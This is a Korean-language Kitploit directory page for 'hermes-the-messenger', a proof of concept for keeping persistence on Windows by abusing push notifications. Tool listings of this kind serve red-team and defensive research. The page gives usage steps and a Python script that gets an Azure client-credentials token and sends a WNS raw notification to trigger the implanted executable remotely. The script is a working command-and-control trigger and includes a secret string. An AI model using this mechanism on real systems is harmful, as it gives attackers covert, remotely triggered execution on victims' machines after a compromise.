Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
hermes-the-messenger — Windows에서 푸시 알림을 통한 지속성 확보 PoC | Kitploit
도구/GitHubGitHub/persistent-security/hermes-the-messenger
Persistence MechanismsPost-ExploitationCommand and ControlRed Teaming
GitHubpersistent-security/hermes-the-messenger

hermes-the-messenger

Windows에서 푸시 알림을 통한 지속성 확보 PoC

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
48453년 전Kitploit 검토 완료

메신저 헤르메스

Windows에서 푸시 알림을 통한 지속성(persistence) 확보를 위한 PoC

더 자세한 기술적 세부 사항과 배경 내용은 여기 블로그 포스트를 참조하세요: https://www.persistent-security.net/post/beacon-on-demand-abusing-push-notifications-for-persistence

사용법

무엇보다 먼저 Azure를 설정해야 합니다. 그런 다음 푸시 알림에 스스로를 등록하기 위해 실행 파일을 한 번 실행해야 합니다. Azure 앱의 개체 ID(object id)를 인수로 전달하기만 하면 되며, 모든 것이 정상적으로 진행되면 Microsoft가 수신한 채널 URI(channel Uri)가 출력됩니다. 이 시점에서 앱을 종료해도 됩니다.

root@kitploit:~
hermes.exe <object_id>

SDK 1.3이 설치되어 있지 않으면 바이너리는 필요한 확장 프로그램과 함께 SDK를 배포하려고 시도합니다.

채널 URI를 확보했다면, 테넌트(tenant) 정보를 사용해 알림 API를 호출하여 다른 머신에서 원격으로 실행 파일을 실행할 수 있습니다. 마법 같은 일이 벌어지는 것을 지켜보세요:

root@kitploit:~
import requests

secret = "4r8Q~XW6U_PmJYg6Eu_jV22DWlsnhyJBIrdpV"
app_id = "CA899E11-71CF-4DB3-962C-0EA65151C132" #not the object id but the Azure app id
tenant_id = "E83F2382-F012-475A-9A4C-30545F429FB7"
channel_uri = "https://wns2-am3p.notify.windows.com/?token=AwYAAAAiYI4p...."

def send_notification(secret, app_id, tenant_id, channel_uri, notification_data):
    # Acquire token
    url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"
    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    data = {
        'grant_type': 'client_credentials',
        'client_id': app_id,
        'client_secret': secret,
        'scope': 'https://wns.windows.com/.default'
    }
    response = requests.post(url, headers=headers, data=data)
    response_json = response.json()
    token = response_json['access_token']

    # Send notification
    headers = {
        'Content-Type': 'application/octet-stream',
        'Authorization': f'Bearer {token}',
        'X-WNS-Type': 'wns/raw',
    }
    response = requests.post(channel_uri, headers=headers, data=notification_data)
    return response.status_code, response.text
	
	
send_notification(secret, app_id, tenant_id, channel_uri, "This is a notification")

데모

https://github.com/persistent-security/hermes-the-messenger/assets/134269747/1de3afdc-79dc-4de6-827b-6acba44f910b

도구 다운로드